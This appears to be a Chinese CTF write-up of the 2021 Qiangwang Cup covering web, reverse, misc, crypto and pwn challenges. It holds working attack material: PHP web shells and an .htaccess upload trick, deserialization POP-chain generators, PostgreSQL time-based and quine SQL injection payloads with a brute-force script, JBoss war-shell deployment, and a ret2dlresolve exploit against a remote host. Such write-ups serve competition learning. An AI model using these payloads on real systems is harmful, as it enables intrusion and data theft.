WEB
0x01 Hard_Penetration
shiro反序列化
拿到shell进去以后,发现flag的权限是www-data的,而我们本身权限很低。
发现内网8005端口有服务,baocms,代码审计
Tudou\Lib\barcodegen\html\image.php
目录下有任意文件包含
然后在传递参数,在上面的shell下,写个shell在tmp目录下
echo "<?php system('cat /flag');?>" > a.barcode.php
0x02 pop_master
使用wget获取class.php.txt,通过语法phply拿到语法树。然后用脚本解析
# -*- coding: utf-8 -*-
# 正则匹配eval链
"""
Created on Sat Jun 12 10:13:45 2021
@author: Hypixel
"""
import re
class classpart:
def __init__ (self,classname):
self.classname=classname
self.funcs=[]
class func:
def __init__(self,funcname,param):
self.funcname=funcname
self.cango=[]
self.para = param
self.flag = 1
self.end=0
ansc = ['a' for i in range(10000)]
ansf = ['a' for i in range(10000)]
ansp = ['a' for i in range(10000)]
fi = open("D:\\ans.txt","w")
#for i in range()
def write2php(ansc,ansf,ansp):
fp = open("D:\\flag.php", "w");
for k in range(len(ansc)):
if(ansc[k] == 'a'):
break
print(ansc[k]+' '+ansf[k])
for k in range(len(ansc)):
if(ansc[k] == 'a'):
break
fp.writelines('$a' + str(k+1) +' = new '+ ansc[k]+'()'+'\n')
for k in range(len(ansp)):
if(ansc[k] == 'a'):
break
fp.writelines(ansp[k]+'\n')
fp.close()
def findonefunc(classarray,funcname,depth):
for c in classarray:
for f in c.funcs:
if(funcname == f.funcname):
if(f.flag == 0):
return
if(f.end):
#print(funcname)
if(funcname == 'tLpuAE'):
write2php(ansc,ansf,ansp)
fi.write(funcname+'\n')
#print(ansc[depth])
return
ansp[depth-1] = f.para
ansc[depth-1] = c.classname
for cango in f.cango:
ansf[depth] = cango
findonefunc(classarray, ansf[depth], depth+1)
with open('./class.php') as f:
content=f.read()
classarray=[]
for i in re.findall("class (.*?){",content):
classarray.append(classpart(i))
for i in classarray:
#寻找类
p=re.compile(r"class "+i.classname+r"\{(.*?)\}\n\n\nc",re.S)
tmp=re.findall(p,content)
if not len(tmp)==1:
print("Error in "+i.classname)
raise ValueError(tmp)
classcontent=tmp[0]#类的内容
funcnames=re.findall(r"public function (.*?)\{",classcontent)#找到函数名
for x in funcnames:
t=x.split("(")
x=t[0]
param=t[1][:-1]
nowfunc=func(x,param)
i.funcs.append(nowfunc)
p=re.compile(r"public function " + x + r".*?\{(.*?)\n\n\}",re.S)
tmp1=re.findall(p,classcontent)#每个函数内容
if not len(tmp1)==1:
print("Error in "+i+":"+x)
raise ValueError(tmp1)
funccontent=tmp1[0]#函数内容
if 'eval' in funccontent:
nowfunc.end=1
#if ';\n\t\teval' in funccontent:
# nowfunc.end=0
#elif ('}\n\t\teval' in funccontent) and ('for' in funccontent):
# nowfunc.end=0
'''if(nowfunc.end == 0):
if('for' in funccontent):
if()
#if('= ' + param) in funccontent:
#if((param + ' = ' + param) in funccontent) or ((param + '= ' + param) in funccontent):
#print(param + ' = ' + param)
#print("123")
nowfunc.flag = 0
#print(nowfunc.funcname)
'''
if((param +'=' in funccontent) and not ('.' in funccontent)):
#print(nowfunc.funcname)
nowfunc.flag = 0
if((param + ' =' in funccontent) and not('.' in funccontent)):
#print(nowfunc.funcname)
nowfunc.flag = 0
p=re.compile(r"\$this-\>.*?-\>(.*?)\(",re.S)
cango=re.findall(p,funccontent)
for y in cango:
nowfunc.cango.append(y.split('>')[-1])
#print(nowfunc.cango)
a=input(">")
C = []
#print(len(classarray))
for c in classarray:
for f in c.funcs:
if(f.funcname == a):
C.append(c)
break
ansc[0] = C[0].classname
ansf[0] = a
for f in C[0].funcs:
if(f.funcname == a):
for i in f.cango:
ansf[1] = i
findonefunc(classarray, ansf[1], 2)
直接include//class.php
下面是pop链
//pop.php
<?php
include("class.php");
$a1 = new rrB0WS();
$a2 = new T4GDAZ();
$a3 = new mGmm1l();
$a4 = new ezKORI();
$a5 = new HMkI93();
$a6 = new YOrMZ7();
$a7 = new vuUqtB();
$a8 = new fs9GQe();
$a9 = new QumdiY();
$a10 = new n265yG();
$a11 = new MS4yrg();
$a12 = new x0QL0p();
$a13 = new FbbqrK();
$a14 = new h6gn8u();
$a15 = new MCGo5W();
$a16 = new FQppeP();
$a17 = new gMoCqO();
$a18 = new tTz13X();
$a19 = new dTBOgv();
$a20 = new uXBFzw();
$a21 = new SwtBrC();
$a22 = new XyoDnK();
$a1->lysEtIg = $a2;
$a2->cvirWwt = $a3;
$a3->GgzEmwo = $a4;
$a4->Hu4uqZ6 = $a5;
$a5->u1lTFey = $a6;
$a6->PRhtfhx = $a7;
$a7->FLVUrQG = $a8;
$a8->CHX5Asb = $a9;
$a9->xoeBSGa = $a10;
$a10->CxVCLpp = $a11;
$a11->OE3G2SB = $a12;
$a12->w0vi1yZ = $a13;
$a13->uQvPqer = $a14;
$a14->vF6P5gg = $a15;
$a15->YI5muvF = $a16;
$a16->rt5nhnc = $a17;
$a17->sd5cgIu = $a18;
$a18->dgUyoy2 = $a19;
$a19->ugX0RAB = $a20;
$a20->Gb1Qkis = $a21;
$a21->wApnGE2 = $a22;
print(urlencode(serialize($a1)));
?>
0x03 赌徒(强网先锋)
www.zip源码泄露
然后
<meta charset="utf-8">
<?php
class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
public function __construct(){
}
public function _sayhello(){
echo $this->name;
return 'ok';
}
public function __wakeup(){
echo "hi";
$this->_sayhello();
}
public function __get($cc){
echo "give you flag : ".$this->flag;
return ;
}
}
class Info
{
private $phonenumber=123123;
public $promise='I do';
public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}
public function __toString(){
var_dump($this->file['filename']);
return $this->file['filename']->ffiillee['ffiilleennaammee'];
}
}
class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';
public function __get($name){
$function = $this->a;
return $function();
}
public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
}
public function __invoke(){
$content = $this->Get_hint($this->filename);
echo $content;
}
}
$a = new Start;
$b= new Info;
$c = new Room;
//$c->ffiillee=123;
$d=new Room();
$d->filename='/flag';
$c->a=$d;
$c->filename=$d;
$b->file['filename']=$c;
$a->name=$b;
$a->flag=$b;
$s=urlencode(serialize($a));
echo $s;
?>
0x04 寻宝 (强网先锋)
ppp[number1]=123123%00&ppp[number2]=1e9&ppp[number3]=453200835&ppp[number4]=0e12222&ppp[number5]={"key":0001}
第二层misc:文件管理器-高级搜索-文件内容KEY2
0x05 EASYWEB
漏洞点在http://47.104.136.46/files/
下载到hint文件
Try to scan 35000-40000 ^_^.
All tables are empty except for the table where the username and password are located
Table: employee
nmap扫描完之后是 36842
sqlmap跑注入
password=123&username=admin' or 1=extractvalue(0x0a,concat(0x0a,(select database())));--
数据库是 easyweb 表是 employee 用户名是 admin 密码99f609527226e076d668668582ac4420
然后去上传文件.htaccess
AddHandler php5-script .ant
.ant文件 <?php passthru($_GET['222']);
第二种思路这里:
上去.php不会被过滤 并且上传两次之后 会被自动重命名。1.php依次地推
然后
随后上传frpc 开内网代理 扫描端口 发现8005 存在Jboos服务
http://172.17.0.2:8006/jmx-console/
参考:https://blog.csdn.net/weixin_43999372/article/details/88364032
jboss4.x漏洞
上传war包到upload/xxx
解析生成jsp马上传 root getshell读flag
0x06 WhereIsUWebShell
cookie参数反序列化:
O:7:"myclass":2:{s:5:"hello";O:5:"Hello":1:{s:3:"qwb";s:36:"e2a7106f1cc8bb1e1318df70aa0a3540.php";}}
需要url编码 需要根据读取文件名修改s:后的长度,实现任意文件读取。
//e2a7106f1cc8bb1e1318df70aa0a3540.php
<?php
include "bff139fa05ac583f685a523ab3d110a0.php";
include "45b963397aa40d4a0063e0d85e4fe7a1.php";
$file = isset($_GET['bc5aaf8e-ddab-44d7-be06-c99ebabedce0'])?$_GET['bc5aaf8e-ddab-44d7-be06-c99ebabedce0']:"404.html";
$flag = preg_match("/tmp/i",$file);
if($flag){
PNG($file);
}
include($file);
$res = @scandir($_GET['f810c25d-3c55-44e3-9ece-edcaf122287c']);
if(isset($_GET['f810c25d-3c55-44e3-9ece-edcaf122287c'])&&$_GET['f810c25d-3c55-44e3-9ece-edcaf122287c']==='/tmp'){
$somthing = GenFiles();
$res = array_merge($res,$somthing);
}
shuffle($res);
@print_r($res);
?>
//bff139fa05ac583f685a523ab3d110a0.php
<?php
function PNG($file)
{
if(!is_file($file)){die("我从来没有见过侬");}
$first = imagecreatefrompng($file);
if(!$first){
die("发现了奇怪的东西2333");
}
$size = min(imagesx($first), imagesy($first));
unlink($file);
$second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);
if ($second !== FALSE) {
imagepng($second, $file);
imagedestroy($second);//销毁,清内存
}
imagedestroy($first);
}
?>
//45b963397aa40d4a0063e0d85e4fe7a1.php
<?php
function GenFiles(){
$files = array();
$str = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$len=strlen($str)-1;
for($i=0;$i<10;$i++){
$filename="php";
for($j=0;$j<6;$j++){
$filename .= $str[rand(0,$len)];
}
// file_put_contents('/tmp/'.$filename,'flag{fake_flag}');
$files[] = $filename;
}
return $files;
}
?>
发现可以任意文件读取(实际上只在两个有权限的地方/tmp和/var/www/html/下可以),可以获得文件夹下文件名。
这里是一个gd2的图片马,网上抄个脚本就可以了。
PNG函数猜测是一个文件上传入口 存在include包含。发现一个问题频繁的上传文件会导致502报错,但是tmp目录下的文件将会保留。但是,还有php://filter/string.strip_tags/resource=passwd
这个是php7.x版本的漏洞包含溢出
还有一个suid提权,和flag的寻找。
0x07 easy_sql
username 的trick绕过 username[]=admin
下面就是绕过密码的校验,
然后这个题目 是postgrepsql数据库。使用以下脚本可以获取相关数据
0'and(select/**/case/**/when(substr((select version()),{i},1)='{char}')then(SELECT/**/'dem0'/**/FROM/**/PG_SLEEP(5))else/**/'0'/**/end)='dem0';--
信息如下:
#database app
#table users hint
#hint 内容 its "nothing"
#version PostgreSgreSQL 10.17
这里是后面爆破的信息不齐全 后面一半的hint和version没有爆破完全。然后发现user库是空的。那就只能我自己查我自己,然后我说是我自己密码正确,但是password注入了 还怎么相等呢?题目没有原型链,那就只有sql了。要达到的效果就是SQL 查询语句和 SQL 查询结果完全相等。
因为是三个等号
借鉴:https://mineta.tistory.com/56
' UNION SELECT REPLACE(REPLACE('" UNION SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS cid, 1337 AS passcode -- "OR 1 limit 3,1#',CHAR(34),CHAR(39)),CHAR(36),'" UNION SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS cid, 1337 AS passcode -- "OR 1 limit 3,1#') AS cid, 1337 AS passcode -- 'OR 1 limit 3,1#
他的本质可以理解循环嵌套了两层,用了两个replace,最后又来一遍。
作为标准开始写我们自己的。
replace可以用下面这个函数
' union SELECT REPLACE(REPLACE(' union SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS dem0-- ',CHAR(34),CHAR(39)),CHAR(36),'union SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS dem0') AS dem0--
因为要绕过滤。本地跑一下就知道这个语句发现 我们没有char和replace。将各自他们在这里起的作用进行调试 把三个特殊字符 '
"``.
处理一下。
然后
' union SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS dem0-- ',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS dem0-- ') AS dem0--
首先char(36)和char(39)就不用问怎么绕过了把 (hint都给了),借助hint,然后发现还有个$
首先我们要明白这个$
有什么作用,首先它的作用就是占位,也就是蹲坑。那么我们可以同样使用没有出现过的字符代替.
这样就能达到相同的结果.
我们将源语句提取出来
' union SELECT REPLACE(translate(".",(select substr((select hint from hint),6,1)),(select substr((select hint from hint),3,1))),(select substr((select version()),14,1)),".") AS dem0--
然后开始套娃
f"""' union SELECT REPLACE(translate('" union SELECT REPLACE(translate(".",(select substr((select hint from hint),6,1)),(select substr((select hint from hint),3,1))),(select substr((select version()),14,1)),".") AS dem0-- ',(select substr((select hint from hint),6,1)),(select substr((select hint from hint),3,1))),(select substr((select version()),14,1)),'" union SELECT REPLACE(translate(".",(select substr((select hint from hint),6,1)),(select substr((select hint from hint),3,1))),(select substr((select version()),14,1)),".") AS dem0-- ') AS dem0-- """
注意前面的'
还有空格。贴上一个脚本 方便测试
import sys
import time as t
import string as s
import requests as req
url= ""
payloads = s.printable
res = ''
#database app
#table users
#its "nothing"
#version PostgreSgreSQL 10.17
for i in range(5,50):
for char in payloads:
#payload = f"""0'and(select/**/case/**/when(substr((select version()),{i},1)='{char}')then(SELECT/**/'dem0'/**/FROM/**/PG_SLEEP(5))else/**/'0'/**/end)='dem0';--"""
payload = f"""' union SELECT REPLACE(translate('" union SELECT REPLACE(translate(".",(select substr((select hint from hint),6,1)),(select substr((select hint from hint),3,1))),(select substr((select version()),14,1)),".") AS dem0-- ',(select substr((select hint from hint),6,1)),(select substr((select hint from hint),3,1))),(select substr((select version()),14,1)),'" union SELECT REPLACE(translate(".",(select substr((select hint from hint),6,1)),(select substr((select hint from hint),3,1))),(select substr((select version()),14,1)),".") AS dem0-- ') AS dem0-- """
data = {
'username[]' : 'admin',
'password' : payload,
}
try:
print(payload)
start = int(t.time())
r = req.post(url=url, data=data)
print(r.text)
time = int(t.time()) - start
if time >= 2:
res += char
print(res)
break
except Exception as e:
print(e)
pass
RE
0x01 ezmath
因为精度不够,采用夹逼法求爆破flag
#include<iostream>
#include<Windows.h>
using namespace std;
unsigned char dbl_4020[] =
{
0x39, 0xCA, 0x59, 0xBD, 0x3F, 0xAD, 0x19, 0x3F, 0x95, 0xCA,
0x21, 0x10, 0x63, 0xEC, 0x1A, 0x3F, 0xA1, 0xFF, 0xF2, 0x2D,
0x29, 0x1A, 0x18, 0x3F, 0x9E, 0x12, 0x72, 0xF8, 0x06, 0x95,
0x1C, 0x3F, 0x3A, 0xB4, 0xA9, 0xAB, 0xC6, 0x2A, 0x1D, 0x3F,
0xA2, 0xBA, 0x40, 0x57, 0xD5, 0x68, 0x1A, 0x3F, 0x3A, 0xB4,
0xA9, 0xAB, 0xC6, 0x2A, 0x1D, 0x3F, 0xFB, 0x48, 0xC4, 0x94,
0xB9, 0x72, 0x1B, 0x3F, 0x14, 0xEC, 0x18, 0xAF, 0xFF, 0x2B,
0x1D, 0x3F, 0x7D, 0xF7, 0x73, 0x32, 0x5F, 0x71, 0x1B, 0x3F,
0x14, 0xEC, 0x18, 0xAF, 0xFF, 0x2B, 0x1D, 0x3F, 0x43, 0x06,
0xCE, 0x02, 0x63, 0x92, 0x1C, 0x3F, 0x3A, 0xB4, 0xA9, 0xAB,
0xC6, 0x2A, 0x1D, 0x3F, 0x06, 0x02, 0x10, 0xB7, 0x70, 0x94,
0x1C, 0x3F, 0x53, 0x04, 0xB9, 0x04, 0x72, 0x2E, 0x1D, 0x3F,
0x35, 0xCB, 0x77, 0xB1, 0x13, 0x65, 0x1A, 0x3F, 0x56, 0x6D,
0xE7, 0x6E, 0x78, 0x2A, 0x1D, 0x3F, 0x82, 0x63, 0x2D, 0xDD,
0xCC, 0x91, 0x1C, 0x3F, 0x33, 0xC1, 0xAA, 0x74, 0x11, 0x33,
0x16, 0x3F
};
unsigned char constant[] = {
0x69, 0x57, 0x14, 0x8B, 0x0A, 0xBF, 0x05, 0x40
};
double v3;
BYTE v4[] = { 0xe9, 0x4, 0xf0, 0x7, 0x8, 0xa8, 0x35, 0x3f };
void main()
{
double e = *(double*)constant;
for (size_t j = 0; j < 19; j++)
{
for (int i = 0x2022;i <= 0x8080;i++)
{
double q = *(double*)(dbl_4020 + 8 * j);
if ((e-e/(i+1))/i <= q )
{
cout << hex << i-1;
break;
}
}
}
}
0x02 StandOnTheGiants
jadx静态分析,关键函数是native的check
使用了openssl库的大数模块实现RSA
变种base64
编码中存在14位’+’’-‘,所以共2^14种解密可能
dfs 枚举所有路径,其次暴力decode即可
#include<bits/stdc++.h>
using namespace std;
vector<int>add,cut;
int lena;
string Enc;
string Ori;
string New;
void dfs(string s,int index){
if(index == lena - 1){
cout<<(s+'=')<<endl;
return ;
}
string tmp;
if(Enc[index] == '+'){
tmp = s+Ori[add[0]];
dfs(tmp,index+1);
tmp = s+Ori[add[1]];
dfs(tmp,index+1);
}
else if(Enc[index] == '-'){
tmp = s + Ori[cut[0]];
dfs(tmp,index+1);
tmp = s + Ori[cut[1]];
dfs(tmp,index+1);
}
else{
tmp = s + Ori[New.find(Enc[index])];
dfs(tmp,index+1);
}
return ;
}
int main(){
freopen("res.txt","w",stdout);
Enc = "bUloKWheCJ-vVFhAr;ARxjfbiTSBXbJVorm;;cBzcLA+ZSW+@TM@LuIYyxW,vP/,HdlB;Kl+GKPmQfAqCjPlD;UYjoeI-scAjQEb-g-UcxEDmm@tqTKxqWsmTi-Zydv+GMCktXPHvmG=";
Ori = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
New = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ*+,-./:;?@+-";
for(int i=0;i<(int)New.length();i++){
if(New[i] == '+') add.push_back(i);
else if(New[i] == '-') cut.push_back(i);
}
lena = Enc.length();
string tmp="";
dfs(tmp,0);
return 0;
}
通过n分解出p,q,e为0x10001,遍历所有base64可能,并rsa解密,直到找到含有flag字样的语句
from binascii import unhexlify
from base64 import b64decode
from gmpy2 import *
from Crypto.Util.number import *
table = "0C 0E 0F 0C 79 0F 7B 79 79 79 78 05 7F 79 04 79 7B 7B 0E 0A 04 7C 7B 7B 0D 0E 0D 79 78 0F 0D 08 7F 05 09 0B 78 7F 08 7E 78 7E 7E 09 0D 7B 7C 05 7C 7C 04 7E 0F 7C 05 08 7E 78 0E 78 04 04 0F 0C 04 0E 78 05 0A 0E 7F 0F 7F 7E 0B 0B 0A 79 7C 7F 78 0F 7C 7E 0E 78 78 04 79 79 0F 0E 7F 0E 7C 04 78 79 04 78 7E 0D 7E 0E 7E 0A 09 09 08 0B 0B 0E 7B 08 09 08 08 09 0B 04 7F 0A 0F 0A 79 79 0B 7B 7F 7E 0D 0E 7F 0C 7F 7B 04 08 79 0D 0E 7C 0C 0E 7E 0D 0E 0B 05 0B 09 08 0A 0B 0A 0B 0E 0D 7E 0A 78 7C 7F 7B 08 78 0A 7C 7F 08 7B 7C 0F 0A 7F 04 09 7C 79 78 0A 78 0C 78 0F 0E 7F 7E 7E 0B 08 79 0F 7C 0A 79 78 79 0C 7E 08 7F 0E 0B 09 7F 08 0C 3D".split(' ')
table = [int(i, 16) for i in table]
for i in range(len(table)):
table[i] ^= 0x3D
a = ''.join(map(lambda x:"%02X" % x, table))
a = unhexlify(a).strip(b'\x00').decode()
with open("res.txt") as f:
res = f.read().split('\n')
n = int(a, 16)
p = 33372027594978156556226010605355114227940760344767554666784520987023841729210037080257448673296881877565718986258036932062711
q = 64135289477071580278790190170577389084825014742943447208116859632024532344630238623598752668347708737661925585694639798853367
e = 0x10001
phi = (p-1) * (q-1)
d = invert(e, phi)
for i in res:
try:
c = bytes_to_long(b64decode(i))
tmp = long_to_bytes(pow(c, d, n))
if b'flag' in tmp or b'qwb' in tmp or b'ctf' in tmp or b'FLAG' in tmp or b'QWB' in tmp:
print(tmp.decode())
except:
pass
MISC
0x01 cipherman
volatility 查看memery,直接搜索txt文件
发现下面的文件
Device\HarddiskVolume2\Users\RockAndRoll\Desktop\BitLocker 복구 키 168F1291-82C1-4BF2-B634-9CCCEC63E9ED.txt
打开翻译
BitLocker 드라이브 암호화 복구 키
복구 키는 BitLocker로 보호되는 드라이브에서 데이터를 검색하기 위해 사용됩니다.
이 키가 올바른 복구 키인지 확인하려면 복구 화면에 표시된 것과 ID를 비교하십시오.
복구 키 ID: 168F1291-82C1-4B
전체 복구 키 ID: 168F1291-82C1-4BF2-B634-9CCCEC63E9ED
BitLocker 복구 키:
221628-533357-667392-449185-516428-718443-190674-375100
是一个bitlocker文件卷加密,使用diskginus打开输入恢复健即可打开,发现readme文件,就是flag
BitLocker磁碟机加密恢复密钥
恢复键用来从BitLocker保护下的驱动器中获取数据。
对比ID和恢复屏幕中显示的恢复键,可以确定这是一个有效的恢复键。
恢复密钥ID: 168F1291-82C1-4B
整体恢复密钥ID: 168F1291-82C1-4BF2-B634-9CCCEC63E9ED
BitLocker恢复键:
221628 - 533357 - 667392 - 449185 - 516428 - 718443 - 190674 - 375100
0x02 MISC Blue Teaming
解压后hex打开,发现7z文件头,解压得到mem.dump
volatility 查看文件,查找有关powershell的相关信息,最终搜索到powershell日志文件
evtx格式文件,将其导出,发现两端powershell代码,如下图,结果,发现上面的代码就是下面的结果,无果,winhex查看文件,结合联想到进程“申请注册表”,发现一段代码如下
尝试提交 ~
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Communication
0x03 ExtremlySlow
先从流量中提取latest文件,需要按照content-range字段重新组合,得到latest之后,使用010editor打开发现是pyc,检查了magic number应该是3.10以上的版本,修改unpyc,添加了GEN_START、修复字典相关字节码处理,成功反编译出源码,分析源码可知需要输入26个字节的数据,打印RC4的密钥m得到stegosaurus字符串,推测应该是pyc隐写,使用stegosaurus工具,适配3.10后即可解出26字节数据。输入后打印c,即得到flag
pyc
import sys
from hashlib import sha256
MOD = 256
def KSA(key):
key_length = len(key)
# create the array "S"
S = list(range(MOD)) # [0,1,2, ... , 255]
j = 0
for i in range(MOD):
j = (j + S[i] + key[i % key_length]) % MOD
S[i], S[j] = S[j], S[i] # swap values
return S
def PRGA(S):
i = 0
j = 0
while True:
i = (i + 1) % MOD
j = (j + S[i]) % MOD
S[i], S[j] = S[j], S[i] # swap values
K = S[(S[i] + S[j]) % MOD]
yield K
def RC4(key):
S = KSA(key)
return PRGA(S)
def xor(p, stream):
return bytes(map(lambda x: x ^ stream.__next__(), p))
if __name__ == '__main__':
w = b'\xf6\xef\x10H\xa9\x0f\x9f\xb5\x80\xc1xd\xae\xd3\x03\xb2\x84\xc2\xb4\x0e\xc8\xf3<\x151\x19\n\x8f'
e = b'$\r9\xa3\x18\xddW\xc9\x97\xf3\xa7\xa8R~'
b = b'geo'
s = b'}\xce`\xbej\xa2\x120\xb5\x8a\x94\x14{\xa3\x86\xc8\xc7\x01\x98\xa3_\x91\xd8\x82T*V\xab\xe0\xa1\x141'
t = b"Q_\xe2\xf8\x8c\x11M}'<@\xceT\xf6?_m\xa4\xf8\xb4\xea\xca\xc7:\xb9\xe6\x06\x8b\xeb\xfabH\x85xJ3$\xdd\xde\xb6\xdc\xa0\xb8b\x961\xb7\x13=\x17\x13\xb1"
m = {2: 115, 8: 97, 11: 117, 10: 114}
n = {3: 119, 7: 116, 9: 124, 12: 127}
m |= {x : x ^ n[x] for x in n}
m |= ((i.bit_count(), i) for i in b)
stream = RC4(list(map(lambda x: x[1], sorted(m.items()))))
print(xor(w, stream).decode())
p = sys.stdin.buffer.read(26)
e = xor(e, stream)
c = xor(p, stream)
if sha256(c).digest() == s:
print(xor(t, stream).decode())
else:
print(e.decode())
0x04 ISO1995
一个ISO文件,通过观察知道新的flagfolder的时间戳是错的。按道理讲,应该是指向oldflag的相应字符。每一个oldflag文件里有个字节。
观察后,发现时间戳fffffff后的数值为不同的,可以修改依据进行排序。排序后,将相应指向的字符拼起来,然后可以在其中发现flag。
其中from.txt是存取ffffffff后的两个字节,可以手动提取,很方便,如图
相应的排序后转化为字符
file = open("tail","rb")
src = file.read()
out = []
length = len(src)
for i in range(0,length):
if src[i] != 0:
out.append(src[i])
for i in out:
print(chr(i),end='')
two = []
f = open("from.txt","r").read().split()
for i in f:
two.append(int(i,16))
for i in two:
print(chr(out[i]),end='')
0x05 EzTime
NTFS log文件,使用工具NTFS Log Tracker V1.2.exe将题目给的两个文件打开,能够导出一个文件LogFile.csv
找到这个文件,访问时间早于修改时间
提交文件名即可
2286333 {45EF6FFC-F0B6-4000-A7C0-8D1549355A8C}.png {45EF6FFC-F0B6-4000-A7C0-8D1549355A8C}.png 2021/5/23 0:28 2021/5/23 0:32 2021/5/23 0:28 Update Resident Value 0x25 0
CRY
guess_game
预计30秒左右得到flag
每个不同的guess值会让第一个序列和第二个序列出现差距的特征不一样,所以在本地运行多次统计出固定的特征值即可,把接受的的数据和本地运行的数据进行对比即可确定guess值
from pwn import*
from hashlib import*
import random
import string
import hashlib
import sys
from collections import deque
import sys
class generator:
def __init__(self, key: list, iv: list, hint: bool, k=0, m=0):
self.NFSR = deque()
self.LFSR = deque()
for i in range(80):
self.NFSR.append(key[i])
for i in range(64):
self.LFSR.append(iv[i])
for i in range(64, 80):
self.LFSR.append(1)
self.clock()
if hint:
s = self.NFSR + self.LFSR
for i in range(k, k + m):
s[i] ^= 1
self.NFSR = deque(list(s)[:80])
self.LFSR = deque(list(s)[80:])
def clock(self):
for i in range(160):
zi = self.PRGA()
self.NFSR[79] ^= zi
self.LFSR[79] ^= zi
def PRGA(self):
x0 = self.LFSR[3]
x1 = self.LFSR[25]
x2 = self.LFSR[46]
x3 = self.LFSR[64]
x4 = self.NFSR[63]
hx = x1 ^ x4 ^ (x0 & x3) ^ (x2 & x3) ^ (x3 & x4) ^ (x0 & x1 & x2) ^ (x0 & x2 & x3) \
^ (x0 & x2 & x4) ^ (x1 & x2 & x4) ^ (x2 & x3 & x4)
zi = (self.NFSR[1] ^ self.NFSR[2] ^ self.NFSR[4] ^ self.NFSR[10] ^ self.NFSR[31] ^ self.NFSR[43] ^ self.NFSR[
56]) ^ hx
fx = self.LFSR[62] ^ self.LFSR[51] ^ self.LFSR[38] ^ self.LFSR[23] ^ self.LFSR[13] ^ self.LFSR[0]
gx = self.LFSR[0] ^ self.NFSR[62] ^ self.NFSR[60] ^ self.NFSR[52] ^ self.NFSR[45] ^ self.NFSR[37] \
^ self.NFSR[33] ^ self.NFSR[28] ^ self.NFSR[21] ^ self.NFSR[14] ^ self.NFSR[9] ^ self.NFSR[0] \
^ (self.NFSR[63] & self.NFSR[60]) ^ (self.NFSR[37] & self.NFSR[33]) ^ (self.NFSR[15] & self.NFSR[9]) \
^ (self.NFSR[60] & self.NFSR[52] & self.NFSR[45]) ^ (self.NFSR[33] & self.NFSR[28] & self.NFSR[21]) \
^ (self.NFSR[63] & self.NFSR[45] & self.NFSR[28] & self.NFSR[9]) ^ (
self.NFSR[60] & self.NFSR[52] & self.NFSR[37] & self.NFSR[33]) \
^ (self.NFSR[63] & self.NFSR[60] & self.NFSR[21] & self.NFSR[15]) ^ (
self.NFSR[63] & self.NFSR[60] & self.NFSR[52] & self.NFSR[45] & self.NFSR[37]) \
^ (self.NFSR[33] & self.NFSR[28] & self.NFSR[21] & self.NFSR[15] & self.NFSR[9]) ^ (
self.NFSR[52] & self.NFSR[45] & self.NFSR[37] & self.NFSR[33] & self.NFSR[28] & self.NFSR[21])
self.LFSR.popleft()
self.LFSR.append(fx)
self.NFSR.popleft()
self.NFSR.append(gx)
return zi
def f():
m1=[]
m2=[]
for kk in range(160):
r=(2**160)-1
s=(2**160)-1
for j in range(20):
guess=kk
k = guess // 2
m = guess % 10
if m == 0:
m = 10
key = bin(random.getrandbits(80))[2:].zfill(80)
key = list(map(int, key))
iv = bin(random.getrandbits(64))[2:].zfill(64)
iv = list(map(int, iv))
a = generator(key, iv, False)
k1 = []
for i in range(160):
k1.append(a.PRGA())
k1 = int("".join(list(map(str, k1))), 2)
b = generator(key, iv, True, k, m)
k2 = []
for i in range(160):
k2.append(b.PRGA())
k2 = int("".join(list(map(str, k2))), 2)
r=r&(k1^k2)
s=s&(((2**160)-1)-k1^k2)
r=bin(r)[2:].zfill(160)
s=bin(s)[2:].zfill(160)
l=[]
for p in range(160):
if(r[p]=='1'):
l.append(p)
m1.append(l)
l=[]
for p in range(160):
if(s[p]=='1'):
l.append(p)
m2.append(l)
return m1,m2
m1,m2=f()
def fd(s,m1,m2):
flag1=1
for i in range(160):
flag=1
tar=m1[i]
for j in tar:
if(s[j]!='1'):
flag=0
break
tar=m2[i]
for j in tar:
if(s[j]!='0'):
flag=0
break
if(flag):
return i
def att(s,f):
c=[]
for i in range(26):
c.append(chr(i+0x41))
c.append(chr(i+0x61))
for i in range(10):
c.append(chr(0x30+i))
for i in c:
for j in c:
for k in c:
for m in c:
t=i+j+k+m
if(sha256(t.encode()+s).hexdigest()==f.decode()):
return t
sh=remote("39.105.139.103","10002")
a=sh.recv()
sh.sendline(att(a[14:30],a[35:99]))
for i in range(32):
print(sh.recv().decode())
print(sh.recvuntil("your:\n").decode())
a=int(sh.recvuntil("\n",drop=True).decode(),10)
b=int(sh.recvuntil("\n",drop=True).decode(),10)
s=bin(a^b)[2:].zfill(160)
sh.sendline(fd(s,m1,m2))
print(sh.recv())
PWN
0x01 no_output
ret2_dlresolve的模板题
from roputils import *
from pwn import process,remote
from pwn import gdb
from pwn import context
#r = process('./no_input')
r = remote('39.105.138.97',1234)
context.log_level = 'debug'
dynstr = 0x08048318
payload = p32(0x0804C084)
payload = payload.ljust(0x30,b'a')
r.send(payload)
payload = '\x00ello_boy'.ljust(0x20,'a')
r.send(payload)
r.sendline("-2147483648")
r.sendline('-1')
rop = ROP('./no_input')
offset = 0x48+4
bss_base = rop.section('.bss')
buf = rop.fill(offset)
buf += rop.call('read', 0, bss_base, 100)
## used to call dl_Resolve()
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
r.send(buf)
buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
## used to make faking data, such relocation, Symbol, Str
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
